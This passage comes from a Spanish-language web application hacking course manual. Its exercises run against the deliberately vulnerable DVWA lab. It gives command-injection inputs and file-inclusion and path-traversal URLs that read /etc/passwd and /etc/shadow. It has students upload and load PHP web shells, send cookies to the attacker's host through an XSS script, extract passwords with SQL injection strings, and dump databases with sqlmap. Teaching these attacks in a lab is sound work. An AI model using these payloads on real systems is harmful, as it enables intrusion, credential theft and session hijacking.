(www.google.com) en el recuadro ubicado en la parte inferior de Ping for FREE y luego haga clic en el botn submit. Luego de lo cual se le mostrar el resultado del realizar el comando ping contra la direccin IP o el dominio. Ahora proceda a realizar las siguiente pruebas, analice los resultados que se obtienen: 173.255.201.244; ls ;pwd ;ls -l
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

;echo Hola Mundo ;ls -l ;cd ..;ls -l ;cat / etc/passwd 3.6 Inclusin de Archivo (File Inclusion). Proceda a hacer clic en el botn File Inclusion, ubicado en el men del lado izquierdo. Lea el mensaje mostrado y observe la barra de direcciones. To include a file edit ?page=index.php in the URL to determine which file is included. Ahora realice las siguiente evaluaciones y analice los resultados que se obtiene: (Modifique la direccin IP por la direccin IP del DVWA) http://192.168.0.6/vulnerabilities/fi/?page=/etc/passwd http://192.168.0.6/vulnerabilities/fi/?page=/opt/lampp/htdocs/README.txt 3.7 Inclusin de Archivo Remoto (Remote File Inclusion). Para los siguiente ejercicios se continuar utilizando la opcin File Inclusion detallado en el ejercicio 3.6. Proceda a realizar las siguientes evaluaciones, y luego analice los resultados obtenidos: http://192.168.0.6/vulnerabilities/fi/?page=http://www.google.com http://192.168.0.6/vulnerabilities/fi/?page=http://IP-Samurai/webshell/c99.txt Donde indica IP-Samurai, se debe colocar la direccin IP de su mquina virtual Samurai. 3.8 Ruta Transversal (Path Transversal). El presente ejercicio sigue utilizando la opcin descrita en los anteriores dos ejemplos. En primera instancia se debe conocer cuantos directorios hacia atrs hay que retroceder para visualizar un archivo en particular. Ahora realice las siguientes evaluaciones. http://192.168.0.6/vulnerabilities/fi/?page=../../../../../etc/passwd http://192.168.0.6/vulnerabilities/fi/?page=../../../../../etc/group http://192.168.0.6/vulnerabilities/fi/?page=../../../../../etc/shadow 3.9 CSRF (Cross-Site Request Forgery). Proceda a hacer clic en el botn CSRF, ubicado en el men del lado izquierdo. Visualice la fuente HTML de la pgina, y encuentre el formulario para cambiar la clave del administrador (Change your admin password:). Abra una nueva ventana en Firefox y escriba lo siguiente en la barra de direcciones /home/samurai/democsrf.html, luego de lo cual se visualizar fotos de algunos autos. Ahora proceda a salir de DVWA, haciendo clic en el botn Logout ubicado en el men de la parte derecha. Nuevamente proceda a autenticarse en DVWA. En caso no pueda autenticarse. Qu es lo que ha ocurrido?. 3.10 Subida de Archivo (File Upload). Proceda a hacer clic en el botn Upload, ubicado en el men del lado izquierdo. Para subir un archivo bsquelo con el botn Browse y una vez seleccionado proceda a subir el archivo de nombre wargames.jpg y luego haga clic en el botn Upload. Luego de lo cual se mostrada el siguiente mensaje: ../../hackeable/upload/wargames.jpg sucesfully uploaded!. Es momento de visualizar el archivo en firefox medainte la siguiente URL: http://192.168.0.6/vulnerabilities/upload/../../hackable/uploads/wargames.jpg Si todo se ha realizado correctamente ahora visualizar el archivo subido al server. Ahora se proceder a subir una archivo de extensin php ubicado en /var/www/webshell/phpjackal1.3.php. Luego ingrese a la siguiente URL: http://192.168.0.6/vulnerabilities/upload/../../hackable/uploads/phpjackal1.3.php Si todo se ha realizado correctamente ahora visualizar un Web Shell hecho en php para tener mejor control sobre el servidor.

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

3.11 XSS Reflejado (XSS - Cross Site Scripting - Reflected). Proceda a hacer clic en el botn XSS Reflected, ubicado en el men del lado izquierdo. Realice las siguiente evaluaciones haciendo clic al finalizar cada una de las entradas en el botn submit. <script>alert(Hola)</script> <iframe src=http://www.google.com> <script>location.href='http://IP-SAMURAI/cookie/micookie.php?cookie='+document.cookie</script> Donde se indica IP-Samurai, ingrese la direccin IP correspondiente a la mquina virtual de Samurai. Para ver la informacin capturada, visualice el archivo /var/www/cookie/log.txt. Que informacin puede encontrar en ese archivo?. 3.12 XSS Almacenado (XSS - Cross Site Scripting Stored). Proceda a hacer clic en el botn XSS Stored, ubicado en el men del lado izquierdo. Y repita las mismos ejemplos anteriores. Cual es la principal diferencia entre un XSS reflected y un XSS stored?. 3.13 Inyeccin SQL (SQL Injection). Proceda a hacer clic en el botn SQL Injection, ubicado en el men del lado izquierdo. Ahora realice las siguientes evaluaciones presionando al final el botn submit. Como interpreta cada uno de los resultados obtenidos en cada una de ellas?. 1 2 3 3 ' and 1=1 # 3 ' and 1=0 union select 1,2 # 3 ' and 1=0 union select 1,version() # 3 ' and 1=0 union select null,user() # 3 ' and 1=0 union select null,database() # 3 ' and 1=0 union select null,table_name from information_schema.tables # 3 ' and 1=0 union select null,table_name from information_schema.tables where table_schema! ='mysql' and table_schema!='information_schema' # 3 ' and 1=0 union select null,table_name from information_schema.columns where table_name='users' # 3 ' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users' # 3 ' and 1=0 union select null, concat(first_name,0x0a,password) from users # Ahora se utilizar una herramienta que permite automatizar una Inyeccin SQL. Proceda a ejecutar sqlmap Applications -> Discovery -> SQLmap. Para los siguiente ejercicios es necesario capturar la cookie utilizada por DVWA, para esto podemos utilizar webscarab, tamperdata u otra herramienta. Analice los resultados obtenidos con cada una de las siguientes evaluaciones: $ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli/?id=a&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low -b $ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli/?id=a&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low --current-user $ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli/?id=a&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low --current-db $ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli/?id=a&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low --users $ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli/?id=a&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low --dump
NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

Curso de Hacking Aplicaciones Web 2012 - CNHAW


Network Professional Security Per - NPROS Per SAC

$ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli/?id=a&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low --dump-all 3.14 Inyeccin SQL Blindada (Blind SQL Injection). Proceda a hacer clic en el botn Blind SQL Injection, ubicado en el men del lado izquierdo. Ahora realice las siguientes evaluaciones presionando al final el botn submit. No escriba las anotaciones entre parntesis. 1 2 3 8 3' and 1=1 # (Verdadero, hay mensaje) 3' and 1=0 # (Falso, no hay mensaje) 3' and 1=0 order by 3 # (No hay mensaje) 3' and 1=1 order by 2 # 3' and 1=0 union select 1,2 # SELECT userid FROM users WHERE userid='3' and 1=0 UNION select 1,2 #' 3' and 1=0 union select null,substring(@@version,1,1)=4 # (Si es igual a 4, debe retornar un 1, como no les retorna 0) 3' and 1=0 union select null,substring(@@version,1,1)=5 # (Si es igual a 5, debe retornar un 1) 3' and 1=0 union select null,table_name from information_schema.tables # En una Blind SQL Injection el atacante inyecta comandos SQL a la aplicacin es vulnerable pero no puede acceder a los resultados devueltos por la consulta debido a que la aplicacin no los muestra. Sin embargo se puede apreciar un comportamiento distinto ante consultas que devuelven datos y consultas que no devuelven datos. A partir de este comportamiento diferente se intenta inyectar lgica para extraer la informacin en base a valores True o False. Ahora se proceder a utilizar nuevamente la herramienta sqlmap, ejecute el siguiente comando y luego aplique las variaciones realizadas en el ejercicio 3.13. Existe alguna diferencia en las evaluaciones realizadas?. $ ./sqlmap.py -u http://192.168.0.6/vulnerabilities/sqli_blind/?id=2&Submit=Submit --cookie=PHPSESSID=7hds98d39u8hd983h9d32; security=low -b

NPROS Per S.A.C. :: e-mail: cursos@npros.com.pe :: Sitio Web: www.npros.com.pe

You might also like